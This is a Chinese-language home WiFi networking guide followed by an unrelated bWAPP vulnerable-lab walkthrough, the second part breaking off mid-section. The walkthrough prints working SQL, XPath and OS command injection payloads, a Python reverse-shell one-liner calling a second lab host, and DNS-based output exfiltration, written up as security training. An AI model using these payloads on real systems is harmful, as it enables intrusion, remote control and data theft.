liwen01 2024.10.27

前言

无线 WiFi 的优点是方便、灵活,可以接入各种设备。缺点就是信号容易被干扰、信号覆盖范围有限。下面几个问题应该很多人都有遇到过:

  1. 为何很多洗手间的 WiFi 信号都不太好?

  2. 市面上的穿墙路由器真的就比其它路由器效果好么?

  3. 为何有时候 WiFi 信号强度很好,但网速却很慢?

  4. 如果房间比较大,需要怎样才能实现 WiFi 全屋覆盖?

  5. 如果是独栋多层的楼房,又要如何组建 WiFi 网络?

  6. 商场、公司、学校等人员密集场所,它们的 WiFi 又是如何组建?

  7. 什么是 WiFi 漫游、它有什么好处、又要如何实现 WiFi 漫游功能?

  8. 什么是胖 AP,什么是廋 AP?AC+AP 又是什么?

因为企业 WiFi 组网比较复杂,这里主要介绍家庭无线 WiFi 组网方案,主要包括:
路由器的串并联、WiFi 信号放大器、mesh 组网、AC+AP 模式组网
。它们各有优缺点又各有适合的应用场景。

(一) WiFi 漫游

WiFi漫游 (WiFi Roaming) 指的是当一个移动设备 (如智能手机、平板、本电脑等) 在一个由多个无线接入点 (AP) 覆盖的网络中移动时,设备能够无缝切换到信号更强或更合适的接入点,而不中断网络连接或影响应用程序的运行。

比如在大的商场、写字楼、图书馆等环境,我们拿着手机,从 AP1 所在区域,移动到 AP2、再到 PA3 这个区域。

(1) 无漫游场景

在没有漫游功能的时候,当跨区域时,只有等一个 AP 区域的信号弱到断开连接之后,才会主动去连接另外一个区域的 AP,用户可以明显地感觉到手机网络变慢变卡,最后断网,且要等上几秒之后才能恢复。

(2) 有漫游场景

在 AP1 ~ AP3 是支持漫游功能时,当要跨区域的时候,手机能够根据 AP 之间的信号强度、信噪比、AP 负载、移动数据和位置变化去自动切换所需要连接的 AP,效果就是用户一般感觉不到明显的网络卡顿,APP 的数据也不会中断。

(3) 协议支持

要实现 WiFi 漫游功能,需要 AP 和用户设备同时都支持 802.11k/v/r 协议

  • 802.11k
    :无线资源测量协议,可帮助终端快速搜索附近可作为漫游目标的 AP。
  • 802.11v
    :无线网络管理协议,用来解决AP之间的负荷均衡,以及终端节电等功能。
  • 802.11r
    :快速漫游协议,用于加速手机或者电脑在漫游时的认证流程。

要实现 WiFi 的漫游,还需要组建合适的网络。

(二) 普通家庭 WiFi 组网

(1) 常规 WiFi 使用

现在大部分家庭使用 WiFi 的模式是外面通过光纤接入到屋内,先接入光猫,这一部分主要是由运营商提供,比如国内的联通、电信、移动。

有些光猫也兼备路由器的功能,但是它的接口和接入的设备有限,整体性能也比较弱,而且很多家庭的光猫是放置在弱电箱里,所以整体信号不太好。

目前大部分人都是从光猫接根网线,接到一个路由器上,日常使用 WiFi 都是通过这个路由器来实现。

上图这种房间布局是比较常见的,一般将路由器放置在客厅电视柜上,为所有房间提供无线 WiFi 网络。

当把路由器放在客厅电视柜上的时候,客厅、餐厅、厨房可以享受到最佳的WiFi信号,远离客厅的书房、主卧、主卧洗手间因为中间隔了墙壁,WiFi 信号会被衰减,所以整体信号会比较弱。

为了使主卧和书房都有比较好的 WiFi 使用体验,如果去市面上购买一个穿墙路由器,能否解问题呢?

使用穿墙路由器实际效果正常不会很理想,市面上的穿墙路由器只不过是一个噱头。因为在中国《微功率短距离无线电发射设备目录和技术要求》有规定

  • 2.4GHz频段(2400–2483.5 MHz)
    :最大发射功率限制为 100 mW(20 dBm),等效全向辐射功率(EIRP)为 20 dBm。
  • 5GHz频段(5150–5350 MHz)
    :室内使用最大发射功率限制为 200 mW(23 dBm)。
  • 5GHz频段(5725–5850 MHz)
    :最大发射功率限制为 25 mW(14 dBm)。

在其它国家和地区也有相应的限制,最大发射功率被限制,不管路由器有几根天线,它的穿墙能力都不可能有显著提升,除非它违反规定增强了发射功率。

具体原因可以查看之前的文章《
wifi基础(一):无线电波与WIFI信号干扰、衰减

(2) 有线路由

对于上面这种户型,如果要使书房、主卧、主卧洗手间都有良好的 WiFi 信号,可以使用路由器串并联的方式来解决这个问题。

路由器串并联可以是通过有线的方式来串并联,也可以通过无线的方式来实现。

有线的方式信号会稳定很多,但是需要布置网线,如果房间之前有布网线推荐使用有线路由的方式。

有线路由的方式对路由器没有特殊的要求,任意两个路由器都可以实现。如果家里有多个路由器,可以将性能较好的作为主路由器,性能交差点的最为副路由器。

  • 将光猫出来的网线接到路由器1的WAN口,常规方式设置路由器上网。
  • 将路由器1任意一个LAN口,接到路由器2的WAN口,也是常规方式设置路由器上网。

这样就实现了两个路由器的串联,它们各自独立分配 IP,一般它们处于不同网段。

这种方式,就算路由器1与路由器2设置相同的 WiFi 名字和密码,它们也不能实现漫游功能。

(3) 有线中继

两个路由器串并联,通过不同的接线,可以实现不同的模式。如果主路由器1 LAN 口接到副路由器2的 LAN 口,这种模式需要做一些特殊的设置。

  • 将主路由器1 LAN 口接到副路由器2的 LAN 口
  • 将副路由器2 的 DHCP 功能关闭
  • 到路由器2 的 LAN 口设置处设置 LAN 口 IP,该 IP 与路由器1同一个网段,且不与路由器1的其它设备相冲突
  • 路由器2无线设置按正常设置就可以

这种模式,路由器1与路由器2的设备是处于同一网段,因为两个路由器的IP分配工作都是由路由器1来实现。同样的,它们也不支持漫游功能。

(4) WiFi 串并联

如果家里有多个闲置的路由器,选一个性能好的做主路由器,可以同时串并联多个路由器来解决 WiFi 信号不好的问题。

这种方式的限制就是需要布网线,优点就是对路由器的要求低,且可以各种不同品牌的路由器同时使用,可以将家里闲置的路由器很好地利用上。

(5) 无线桥接

WDS(Wireless Distribution System,无线分布式系统)是一种允许多个无线接入点(AP,Access Point)通过无线方式相互连接的技术,目的是扩展无线网络的覆盖范围。通过 WDS,多个路由器或 AP 可以彼此无线桥接,而不需要通过网线连接。

这种方式是在路由器2中去设置 WDS 功能,根据设置引导去连接路由器1。

这种方式的好处就是可以不用布线,缺点就是信号容易被干扰,效果没有有线路由的好。

对于最开始的房屋布局,我们应该要将路由器2放置到洗手间外面才能实现最佳的效果。因为路由器2 所有对外的所有数据都要通过路由器1传输出去。但因为它们是通过无线连接的,所以路由器2与路由器1间的信号不能太差。

如果将路由器放置到书房或是主卧里面,就会出现路由器 WiFi 信号强度很好,但是网络数据很慢的情况,主要原因是路由器2与路由器1间信号不好通信丢包严重导致速率严重下降。

(6) WiFi 信号放大器

WiFi 信号放大器,也叫 WiFi 扩展器或 WiFi 中继器,是一种通过接收现有 WiFi 信号并将其重新广播来扩展 WiFi 覆盖范围的设备。它能够解决家中或办公区域中 WiFi 信号弱、死角等问题,确保无线网络覆盖更广的区域。

它的工作原理是:

  • 信号接收
    :放大器通过内置的无线网卡,接收来自主路由器的 WiFi 信号。

  • 信号放大
    :放大器将接收到的 WiF i信号进行放大或重复(中继),以增强信号的强度和覆盖范围。

  • 信号转发
    :放大后的信号再次通过放大器的无线电广播出去,覆盖到原本信号无法到达的区域。

整体而言,使用 WiFi 信号放大器的效果并没有使用多个路由器中继的效果好,但一般 WiFi 信号放大器相比于路由器体积会小些,而且价格要便宜。

(三) 胖瘦 AP

(1) 胖 AP

上面我们介绍的,也是我们日常比较常使用的路由器,它都是属于胖 AP(Fat AP)。

胖 AP 它是一种独立工作的无线接入点,它具备较为完整的网络管理和控制功能。它可以自行进行认证、加密、管理无线信道和带宽分配,并执行许多其它功能,因此它可以在不依赖外部设备的情况下独立提供无线网络服务。

它的优点是:
独立性强,适用与小型网络

它的缺点是:
配置相对复杂
。对于复杂场景,比如大型写字楼,需要在不同位置放置很多个 AP,网络管理员不太可能每个 AP 去独立配置管理,所以就出现了瘦 AP(Thin AP)。

(2) 瘦 AP

瘦 AP 是一种功能简化的无线接入点,主要依赖于一个集中管理的设备——通常是无线局域网控制器(WLC)。瘦 AP 本身只负责基本的无线信号转发功能,而所有的复杂管理和控制功能(如认证、加密、频谱管理等)都交由 WLC 来处理。

瘦AP的特点是:

  • 集中管理
    :通过无线控制器统一管理多个瘦 AP,使得大规模部署更加容易,并且可以进行集中配置和故障排查。

  • 简化设备
    :瘦 AP 硬件相对简单,因为不需要集成完整的管理功能,从而降低了每个 AP 的成本。

  • 适用场景
    :瘦 AP 通常应用于大型企业、校园或高密度无线网络环境中,在这些场景下,多个 AP 的管理通过控制器集中进行,便于维护和扩展

(四) 大范围 WiFi 网络组网

如果对上网体验要求高,且要实现 WiFi 漫游功能,可以使用 mesh 组网方式或是 AC+AP 模式。

WiFi 漫游功能,可以让你在房间、楼层间移动的时候实现 WiFi 自动切换,用户基本上无法感知到网络的切换,网络也不会中断。对于家庭使用,mesh组网是个不错的选择。

(1) mesh 组网

WiFi 的 mesh 组网通过多个无线节点(通常是 mesh 路由器或 AP )相互连接,形成一个自我修复的网状网络,使得每个节点都能与其他节点通信并动态调整网络路径,以优化信号覆盖和流量传输。

(a) WiFi mesh 组网的核心概念

多跳传输
:在 mesh 网络中,数据可以通过多个节点传递到目标设备。这种方式有效地扩展了 WiFi 信号的覆盖范围。即使某个节点离主路由器较远,仍可以通过其他中继节点进行数据传输。

自我修复(Self-Healing)
:如果某个节点失效或断开连接,mesh 网络会自动寻找新的路径,使网络保持正常运行。这种冗余性使得网络更加稳定和可靠。

节点协作
:所有的 mesh 节点(mesh AP 或路由器)相互通信,并能够动态调整信号传输的路径和信号强度,以确保网络性能最佳化。这种协作机制可以减少网络拥堵并优化流量。

无缝漫游
:由于 mesh 网络中的节点都属于同一个网络,用户设备可以在各个节点之间无缝漫游,而不会中断网络连接。这对于覆盖大范围的家庭、办公楼、酒店等场景尤为重要。

(b) WiFi mesh 组网的结构

主节点(Primary Node/Gateway Node)
:这是连接互联网的主路由器或接入点,通常位于用户的互联网入口处。所有的网络流量最终都会经过主节点进行互联网通信。

从节点(Secondary Nodes/Child Nodes)
:这些节点与主节点或其他从节点连接,用于扩展网络覆盖。每个从节点都能与多个其他节点通信,并动态调整网络路径以优化连接。

设备通信
:设备(如手机、电脑等)可以与任意一个距离较近的节点连接,而不必强制连接到主节点,从而保证稳定和快速的连接。

(c) mesh 组网的优势

广覆盖
:通过多个节点扩展网络,消除信号盲区。

无缝漫游
:设备可在各节点间自由切换,无断线。

自我修复
:节点失效时,网络会自动调整路径,保证稳定性。

易扩展
:添加新节点简单,适合大范围网络覆盖。

稳定性能
:动态调整信道和路径,优化网络流量。

(d) mesh 组网的缺点

成本较高
:设备价格昂贵,尤其是需要多个节点时。

带宽下降
:多跳传输会导致带宽逐步降低。

延迟增加
:多节点传输会增加网络延迟。

配置复杂
:需要精心规划节点布局,且企业级网络配置复杂。

兼容性问题
:不同品牌的 mesh 系统可能不兼容。

mesh 可以是有线组网也可以是无线组网,有线模式需要拉网布线,无线模式整体性能较差。

mesh 组网需要给路由器独立供电并放置在一个遮挡较少的位置,多少也有些影响美观。但是如果换成 AC+AP 的模式就不存在这个问题了。

另外需要特别注意的是,
各品牌商的路由器之间 mesh 组网可能会存在不兼容的情况,所以最好是使用同一个品牌的 mesh 路由器来组网

(2) AC + AP 模式

在 WiFi 组网中,AC(Access Controller)+AP(Access Point)主要用于大型或企业级的无线网络环境。这种模式通常由一个或多个AP和一个AC组成,目的是集中管理和优化无线网络。

(a) AC(Access Controller)
AC 是无线网络的集中控制器,负责管理和配置所有接入点(AP)。它协调AP之间的工作,进行负载均衡、无线信道管理、认证、接入控制等。

可以简单理解为:这里的 AC 就是上面介绍的路由器,AP 就是路由器的天线,AP 负责无线信号的收发,AC 负责无线的管理。变相的把 WiFi 天线布置到房间的各个位置上。

(b) AC 主要功能有

集中管理
:通过AC,可以在一个地方配置和管理所有的 AP,简化网络管理。

负载均衡
:AC 可以监控 AP 的负载情况,并在用户移动时将其重新分配到负载较低的 AP。

无线信道管理
:AC 优化无线信道的使用,减少干扰,提高网络效率。

安全管理
:进行集中化的认证和加密管理,提高网络安全性。

(c) AP (Access Point)

AP 是无线网络的接入点,负责将无线信号转换为有线信号,反之亦然,允许无线设备连接到网络。

(d) AP 主要功能有

无线覆盖
:AP 提供无线信号覆盖,支持无线设备的接入。

数据传输
:AP 将无线设备的数据传输到有线网络,或者将有线网络的数据传输到无线设备。

信号强度调节
:AP 可以调整其发射功率,优化无线覆盖范围。

(e) AC+AP模式的优势

高效管理
:通过集中控制和管理,简化了无线网络的维护和配置工作。

灵活性
:可以根据实际需要扩展 AP 的数量,增加无线覆盖范围。

优化性能
:通过 AC 的干预和管理,提升了网络的性能和稳定性。

增强安全
:集中化的安全策略和认证机制提升了整体网络的安全性。

AP 有面板式和吸顶式两类,家用一般是使用面板式,可以直接嵌入墙体,跟插座一样。吸顶式的多用在写字楼等场所,直接放置在天花板处,整体比较美观。

另外,这类 AP 一般都支持 POE 供电,也就是可以直接使用网线进行供电,少了另外拉电的麻烦。

整体而言,AP 的性能会比 mesh 组网稍微差一点点,如果是家庭或是小范围使用,推荐使用 mesh 组网,mesh 相对 AC+AP来说价格也便宜点。

如果是写字楼,学校等需要大面积覆盖的场景,还是推荐使用AC+AP的模式,方便控制和管理。

结尾

上面内容简单地介绍了下目前家庭比较常用的 WiFi 组网方案,这些方案具体的使用配置,可以参考具体品牌商设备上的介绍。下一篇将介绍 WiFi 认证与加密相关基础知识。

上面内容,如有错误,欢迎评论区提示指出,不胜感激。

------------------End------------------
如需获取更多内容
请关注 liwen01 公众号

事以密成,言以泄败。


导航


前言

编程语言:PHP

靶场版本:Version 1.9+

靶场环境:OWASP Broken Web Applications VM 1.2(VirtualBox)

源码参考:
https://github.com/theand-fork/bwapp-code

视频参考:
https://www.youtube.com/watch?v=segrCBlzAY0&list=PLmC06jCwVwlo-RdL444niMc5-oQyA4dkG

A1 - Injection(注入)

(A1-1)HTML Injection - Reflected (GET)

访问地址:
http://192.168.56.19/bWAPP/htmli_get.php

本部分与
A3-1 Cross-Site Scripting - Reflected (GET)
是一样的,故此处不再赘述。

(A1-2)HTML Injection - Reflected (POST)

访问地址:
http://192.168.56.19/bWAPP/htmli_post.php

本部分与
A3-1 Cross-Site Scripting - Reflected (GET)
是类似的(仅请求方法由 GET 变成了 POST 而已),故此处不再赘述。

(A1-3)HTML Injection - Reflected (Current URL)

访问地址:
http://192.168.56.19/bWAPP/htmli_current_url.php
image

low 级别:后端对 GET 请求头全局变量
$_SERVER["REQUEST_URI"]
,不做处理直接拼接为 URL 链接然后返回前端。故可以通过 burpsuite 修改请求头的 URI 为
/bWAPP/htmli_current_url.php?a=<script>alert(5)</script>
便可实现 XSS 反弹效果。【注意:通过在浏览器地址栏操作不能够成功,因为浏览器会对特殊符号进行 URL 编码,以致后端收到的是编码后的 URI 地址,返回的也是编码后的 URL 地址,这样就会导致注入的标签失效。】
image
image

medium 级别:当前 URL 链接的获取是通过 JS 函数
document.write(document.URL)
在浏览器本地获取,而且也会自动进行 URL 编码,因此亦无注入方法。

hight 级别:后端使用 GET 请求头的请求地址变量,先做 htmlspecialchars() 函数的处理,然后拼接链接。

(A1-4)HTML Injection - Stored (Blog)

访问地址:
http://192.168.56.19/bWAPP/htmli_stored.php

本部分与
A3-13 Cross-Site Scripting - Stored (Blog)
是类似的,故此处不再赘述。

由于涉及组件复杂,靶机环境无法顺利进行。

(A1-6)Mail Header Injection (SMTP)

由于涉及组件复杂,靶机环境无法顺利运行。

(A1-7)OS Command Injection

访问地址:
http://192.168.56.19/bWAPP/commandi.php
image

low 级别:后端对 POST 请求提交上来的 target 变量不做处理,直接拼接 nslookup 系统命令执行。此时可以通过载荷
www.nsa.gov;id
进行命令注入,后端在执行域名解析之后还会执行 id 指令,并将执行结果响应返回。
image

medium 级别:后端对 POST 请求提交上来的 target 变量进行
&;
符号替换为空的处理,然后再拼接 nslookup 系统命令执行。此时载荷
www.nsa.gov | id
依旧可以生效。

hight 级别:后端对 POST 请求提交上来的 target 变量进行 escapeshellcmd() 函数(该函数会将特殊符号均进行转义处理,使其在 shell 环境下失去原有的特殊作用)的处理。

(A1-8)OS Command Injection - Blind

访问地址:
http://192.168.56.19/bWAPP/commandi_blind.php
image

low 级别:后端对 POST 请求提交上来的 target 变量不做处理,直接拼接 ping 系统命令执行但是响应返回无执行结果。此时可以通过注入载荷
localhost;nslookup id | tr ' ' ',' 192.168.56.3
的方式,然后在56.3主机 wireshark 抓包分析 dns 的请求内容,这种方法可以看到执行 id 命令之后返回的结果,但是在 nslookup 参数中使用的命令会受到限制,例如被注入的命令不能够使用参数符号-;此时亦可以通过载荷
localhost;export RHOST="192.168.56.3";export RPORT=1234;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
直接建立远端连接,然后直接在 nc shell 中执行命令。(注意:该 shell 载荷使用了python2 进行的 nc 连接,在不同的靶机环境,建立连接的载荷亦会有所不同)
image

image

image

medium 级别:后端对 POST 请求提交上来的 target 变量中的
&;
符号替换为空。此时上述载荷依旧生效。

hight 级别:后端对 POST 请求提交上来的 target 变量进行 escapeshellcmd() 函数(该函数会将特殊符号均进行转义处理,使其在 shell 环境下失去原有的特殊作用)处理。

(A1-9)PHP Code Injection

访问地址:
http://192.168.56.19/bWAPP/phpi.php?message=test
image

low 级别:后端对 GET 请求提交上来的 message 变量不做处理,直接当作命令字串传递给 eval 函数执行。此时可以通过载荷
phpinfo()
查看效果(注:只要是 PHP 代码函数类的都可以作为载荷)。
image

medium/hight 级别:后端会对 GET 请求提交上来的 message 变量进行 htmlspecialchars() 函数( 该函数可将特殊字符转换为 HTML 实体)的处理。

(A1-10)Server-Side Includes (SSI) Injection

访问地址:
http://192.168.56.19/bWAPP/ssii.php

本部分与
A3-1 Cross-Site Scripting - Reflected (GET)
是一样的,和 SSI 其实没什么关系,故此处不再赘述。

(A1-11)SQL Injection (Search/GET)

访问地址:
http://192.168.56.19/bWAPP/sqli_1.php
image

low 级别:后端对 GET 请求提交上来的 title 变量的值不做处理直接拼接到了 sql 查询语法中。此时可以通过载荷
test' or 1 -- -
进行闭合注入,然后遍历当前所有电影。
image

medium 级别:后端对 GET 请求提交上来的 title 变量进行 addslashes() 函数(该函数会对
'"\
等符号进行转义处理,但仍可能存在字符集注入的风险 )的处理。

hight 级别:后端对 GET 请求提交上来的 title 变量进行 mysql_real_escape_string() 函数( 该函数亦会对
'"\
等符号进行转义处理,且不存在字符集注入的风险 )的处理。

(A1-12)SQL Injection (Search/POST)

访问地址:
http://192.168.56.19/bWAPP/sqli_6.php
image

本部分与
A1-11 SQL Injection (Search/GET)
基本无差别,仅仅只是表单请求方法 GET 和 POST 之间的区别,故不再赘述。
image

(A1-13)SQL Injection (Search/CAPTCHA)

访问地址:
http://192.168.56.19/bWAPP/sqli_9.php

本部分验证码检验搜索形同虚设,第一次手动验证之后,后续请求便不会再被要求输入验证码,且与
A1-11 SQL Injection (Search/GET)
基本无差别,故不再赘述。

(A1-14)SQL Injection (Select/GET)

访问地址:
http://192.168.56.19/bWAPP/sqli_2.php
image

low 级别:后端对 GET 请求提交上来的 movie 数值不做处理直接拼接到 sql 查询语句中。此时可以通过载荷
999 union select 1,2,3,4,5,6,7#
进行数值型的联合注入查询。
image

注意:代码后面通过 mysql_fetch_array() 函数从 sql 查询结果集中只取出一条记录使用。

medium 级别:后端对 GET 请求提交上来的 movie 数值进行 mysql_real_escape_string() 函数( 该函数亦会对
'"\
等符号进行转义处理,且不存在字符集注入的风险 )的处理。

hight 级别:该级别下后端通过专门的 php 代码(
http://192.168.56.19/bWAPP/mysqli_ps.php)进行处理,检查似乎更严格。

(A1-15)SQL Injection (Login Form)

访问地址:
http://192.168.56.19/bWAPP/sqli_3.php
image

low 级别:后端对 POST 请求提交上来的 login、password 变量不做处理,直接拼接到 sql 查询语句。此时可以通过载荷
test' or 1 #
作为用户名进行登录,密码任意。
image

medium 级别:后端对 POST 请求提交上来的 login、password 变量进行 addslashes() 函数( 该函数亦会对
'"\
等符号进行转义处理,但仍可能存在字符集注入的风险 )的处理。

hight 级别:后端对 POST 请求提交上来的 login、password 变量进行 mysql_real_escape_string() 函数( 该函数亦会对
'"\
等符号进行转义处理,且不存在字符集注入的风险 )的处理。

(A1-16)SQL Injection - Stored (Blog)【SQL insert】

访问地址:
http://192.168.56.19/bWAPP/sqli_7.php
image

low 级别:后端对 POST 请求提交上来的 entry 变量不做处理,直接拼接到 sql 插入语句中。故可以通过载荷
admin'or extractvalue(0x0a,concat(0x0a,(select user()))),'admin')#
根据报错来查询输出;或载荷
admin'or updatexml(1,concat(0x7e,user()),0),'admin')#
根据报错来查询输出;或载荷
admin',user())#
进行插入篡改查询。
image

注意:面对这种 insert 型的 sql 注入,也是要先猜测出其插入语法(如本例,
insert into table(c1,c2,c3) values('1','entry','admin');
),然后再构造注入语句,这类语句的闭合通常一定会带有)右括号。

medium 级别:后端对 POST 请求提交上来的 entry 变量进行 addslashes() 函数( 该函数亦会对
'"\
等符号进行转义处理,但仍可能存在字符集注入的风险 )的处理。

hight 级别:后端对 POST 请求提交上来的 entry 变量进行 mysql_real_escape_string() 函数( 该函数亦会对
'"\
等符号进行转义处理,且不存在字符集注入的风险 )的处理。

(A1-17)SQL Injection - Stored (XML)【SQL update】

访问地址:
http://192.168.56.19/bWAPP/sqli_8-1.php(点击按钮时,实际发起的
POST 请求链接是http://192.168.56.19/bWAPP/sqli_8-2.php)
image

low 级别:后端对 POST 请求提交上来的 XML 格式的 login、secret 变量不做处理,直接拼接到 sql 语句中。此时可以通过在burpsuite 中继器修改 login 或 secret 的值为载荷
admin'or updatexml(1,concat(0x7e,user()),0)#
根据报错来查询输出。
image
image

注意:面对这种 update 型的 sql 注入,也是要先猜测出其插入语法(如本例,
update table set pass='pass' where name='admin');
,然后再构造注入语句,这类语句的闭合似乎比较简单。

medium/hight 级别:后端只对 POST 请求提交上来的 secret 变量进行 mysql_real_escape_string() 函数的处理,而login 变量的值则取自 session 会话中的值。
image

访问地址:
http://192.168.56.19/bWAPP/sqli_4.php
image

low 级别:后端对 GET 请求提交上来的 title 变量的值不做处理然后直接拼接到 sql 语句中。此时输入单引号'发现提示语法错误,故可知闭合符号是单引号',通过构造载荷
name' or 1 #
发现本该不存在的电影此时却提示存在,说明此处存在 sql 注入。此时可通过
name' or 98=(select ascii(mid(database(),1,1))) #

name' or 'b'=(select mid(database(),1,1)) #
载荷根据条件为真来逐一判断数据库名称,一般配合 fuzz 进行。
image

注意:盲注进行闭合符号猜测时,先根据一有结果的查询值为基准,然后在该值的基础上配合 or 或 and 条件判断较佳。在 dump 数据库名或表名等数据时,优先配合 fuzz 进行。

medium 级别:后端只对 GET 请求提交上来的 title 变量进行 addslashes() 函数( 该函数亦会对'"\等符号进行转义处理,但仍可能存在字符集注入的风险 )的处理。

hight 级别:后端只对 GET 请求提交上来的 title 变量进行 mysql_real_escape_string() 函数( 该函数亦会对
'"\
等符号进行转义处理,且不存在字符集注入的风险 )的处理。

(A1-19)SQL Injection - Blind (Web Services/SOAP)

访问地址:
http://192.168.56.19/bWAPP/sqli_5.php
image

low 级别:虽然后端使用了比较复杂的技术(NUSOAP)进行 mysql 查询请求的动作,但是其实现的过程还是和前面所述的那些状况差不多。后端对 GET 请求提交上来的 title 变量不做处理然后就拼接到 sql 语句中。此时通过 burpsuite 中继器替换其 title 的值为载荷
G.I.+Joe%3A+Retaliation' and true -- -
发现其查询输出依旧正常,依此可判断其闭合符号为单引号'。此处关于数据库名表名的 dump 方法同上述一样。
image

引用 SOAP 功能函数
image

SOAP 进行 sql 查询的功能函数
image

注意:在盲注过程中发现 mysql 注释符号在GET 请求类的注入使用中可能会引起语法错误,建议还是使用
-- -
的方式进行后端注释;而且在 burpsuite 中修改 GET 头的参数时,如果有空格连接一定要先进行 URL 编码才行,否则会返回错误的结果。

medium 级别:后端只对 GET 请求提交上来的 title 变量进行 addslashes() 函数( 该函数亦会对'"\等符号进行转义处理,但仍可能存在字符集注入的风险 )的处理。

hight 级别:后端只对 GET 请求提交上来的 title 变量进行 mysql_real_escape_string() 函数( 该函数亦会对
'"\
等符号进行转义处理,且不存在字符集注入的风险 )的处理。

访问地址:
http://192.168.56.19/bWAPP/xmli_2.php

heros.xml 文件内容:
https://github.com/theand-fork/bwapp-code/blob/master/bWAPP/passwords/heroes.xml
image
image

low 级别:前端选中下拉选项提交时会通过 GET 请求携带参数 genre 发起,后端对收到的 genre 变量不做处理直接作为 xpath 查询语法的一部分进行拼接,然后在本地 XML 文件数据库中进行数据的匹配查找。此时通过载荷
')]/child::node() | test[contains(test,'aa
作为 genre 的参数,便可以达到遍历整个 XML 文件数据库的效果。
image
image

medium/hight 级别:后端对 GET 请求提交上来的 genre 变量进行 xmli_check_1() 自定义检查函数的处理(该函数将
( ) = ' [ ] : , * /
这些符号进行了替换为空的处理),然后再拼接到 xpath 查询语法中。

注意:本处的载荷进行了前后闭合处理。
$xml->xpath("//hero[contains(genre, 'action')]/movie");
本处代码中的 xpath 查询语法的意思是,查找所有 hero 节点下的 movie 的值,且 hero 节点中 genre 属性需要包含 action 字段。

(A1-21)XML/XPath Injection (Login Form)

访问地址:
http://192.168.56.19/bWAPP/xmli_1.php
image

low 级别:后端对 GET 请求提交上来的 login、password 变量不做处理直接拼接到 xpath 查询语法中,若匹配到结果则返回登录成功的提示。此时通过载荷
user'or 1=1 or ''='
输入用户名,密码随便填,然后就达到了万能密码的效果。
image

注:原代码中双引号太多,处理之后为
xpath("/heroes/hero[login='login' and password='password']");
此处这个载荷的用法比较奇怪
user or ''='
却不可以,但它也应该是正常闭合的。

medium/hight 级别:后端对 GET 请求提交上来的 login、password 变量进行 xmli_check_1() 自定义检查函数的处理(该函数将
( ) = ' [ ] : , * /
这些符号进行了替换为空的处理),然后再拼接到 xpath 查询语法中。

A2 - Broken Auth & Session Mgmt(破损的授权&会话管理)

(A2-1)Broken Authentication - Forgotten Function

访问地址:
http://192.168.56.19/bWAPP/ba_forgotten.php
image

low 级别:输入找回密码对应的邮箱之后,后端从数据库中将查找到的密码直接响应显示到了前端页面之中。此时只要知道别人的注册邮箱便可知晓别人的密码。

medium 级别:后端将查询的密码明文发到了对方的邮箱之中。

hight 级别:后端将生成的密码重置链接发到了对方的邮箱之中。(注:此时也存在
A7-4 Host Header Attack (Reset Poisoning)
漏洞)

(A2-2)Broken Authentication - Insecure Login Forms

访问地址:三个级别分别对应三个不同的页面,分别是 ba_insecure_login_1.php、ba_insecure_login_2.php、ba_insecure_login_3.php

low 级别:登录账户和密码直接在页面表单部分以白色样式的方式显示。故可以通过查看源代码或鼠标选中的方式查看。
image

medium 级别:登录账户直接在登陆框显示,而密码以 js 开锁脚本验证的方式在 js 函数中包含着。此时可以通过在 console 控制台中通过执行 js 代码获得密码。
image

hight 级别:前端页面不再包含任何有关账户密码的痕迹。

(A2-3)Broken Authentication - Logout Management

访问地址:
http://192.168.56.19/bWAPP/ba_logout.php(点击页面按钮之后会发起注销请求,链接是http://192.168.56.19/bWAPP/ba_logout_1.php)
image

low 级别:客户端发起注销请求之后,服务端的响应中只是重定向到 login.php 登录页面,并删除相关的 cookies 数据。此时在新标签页无需重新登录便依旧可以打开那些需要登录才能看到的页面,且再次处于正常的登录状态会话。
image

medium 级别:服务端首先通过 session_destroy() 函数销毁了 session 会话,然后重定向 login.php 及删除 cookies 数据,此时会话正常结束。

hight 级别:服务端先清空了
$_SESSION = array();
变量,然后销毁会话、重定向及删除 cookies 数据,此时会话正常结束。

(A2-4)Broken Authentication - Password Attacks

访问地址:三个级别分别对应三个不同的页面,分别是 ba_pwd_attacks_1.php、ba_pwd_attacks_2.php、ba_pwd_attacks_4.php。

low 级别:表单提交内容只有 login、password 变量,后端只是检验这两变量是否与内置的
$login、$password
变量相等。此时可以通过常规的密码爆破方法快速进行密码爆破。
image
image

medium 级别:表单提交内容有 login、password、salt 变量(salt 是后端随机生成的值并隐藏携带在表单之中,每次刷新页面都会产生新值),后端首先检验
$_POST["salt"] == $_SESSION["salt"]
是否符合,符合之后才开始进行 login、password 变量的判断。此时可以通过 burpsuite 工具爆破进行,但是在操作上比较麻烦且爆破速度降低。
image
image

hight 级别:表单使用了图片验证码技术,表单提交内容有 login、password、captcha_user 变量,后端首先检验
$_POST["captcha_user"] == $_SESSION["captcha"]
是否符合,符合之后才开始 login、password 变量的判断。此时爆破难度更高。
image
image

图片验证码实现原理:表单页面使用 iframe 页面嵌套方法,这样就可以保证验证码图片可以不断刷新请求,而表单页面不会被刷新。嵌套中的页面则是由图片部分和页面刷新按钮部分组成,而此处的图片 src 链接指向其实也是一个 php,当发起该图片 php 的请求时,后端 php 会首先生成一个随机字串(即验证码),然后将该字串赋值给
$captcha = random_string();$_SESSION["captcha"] = $captcha;
会话变量,然后再通过 php 代码生成图片的方法模糊处理该随机值,最后作为一个图片响应返回。
image

验证码图片生成代码

(A2-5)Broken Authentication - Weak Passwords

访问地址:
http://192.168.56.19/bWAPP/ba_weak_pwd.php

low/medium/hight 级别:三个级别就只是密码不同而已,它们分别是 test、test123、Test123,用户名都是 test。账户密码都是静态变量,不涉及数据库。

(A2-6)Session Management - Administrative Portals

访问地址:
http://192.168.56.19/bWAPP/smgmt_admin_portal.php?admin=0
image

low 级别:访问上述页面地址时,后端根据提交 URL 中的参数 admin 的值来判断用户是否可以访问隐藏内容(即绿色标识的话: You unlocked this page)。此时可以通过修改 URI 为
smgmt_admin_portal.php?admin=1
来访问隐藏内容。
image

medium 级别:后端根据请求中的 cookies 参数 admin 的值来判断用户是否可以访问隐藏内容。此时通过修改 cookies 参数
admin=1
来访问隐藏内容。
image

hight 级别:后端根据 session 会话中的
$_SESSION["admin"] == 1
变量的值来判断用户是否可以访问隐藏内容,而
$_SESSION["admin"]
的值又取决于来访者的 IP 地址是否在指定的许可 IP 数组中,也就是说只有特定的 IP 地址的用户才能够访问隐藏内容。
image
image

(A2-7)Session Management - Cookies (HTTPOnly)

访问地址:
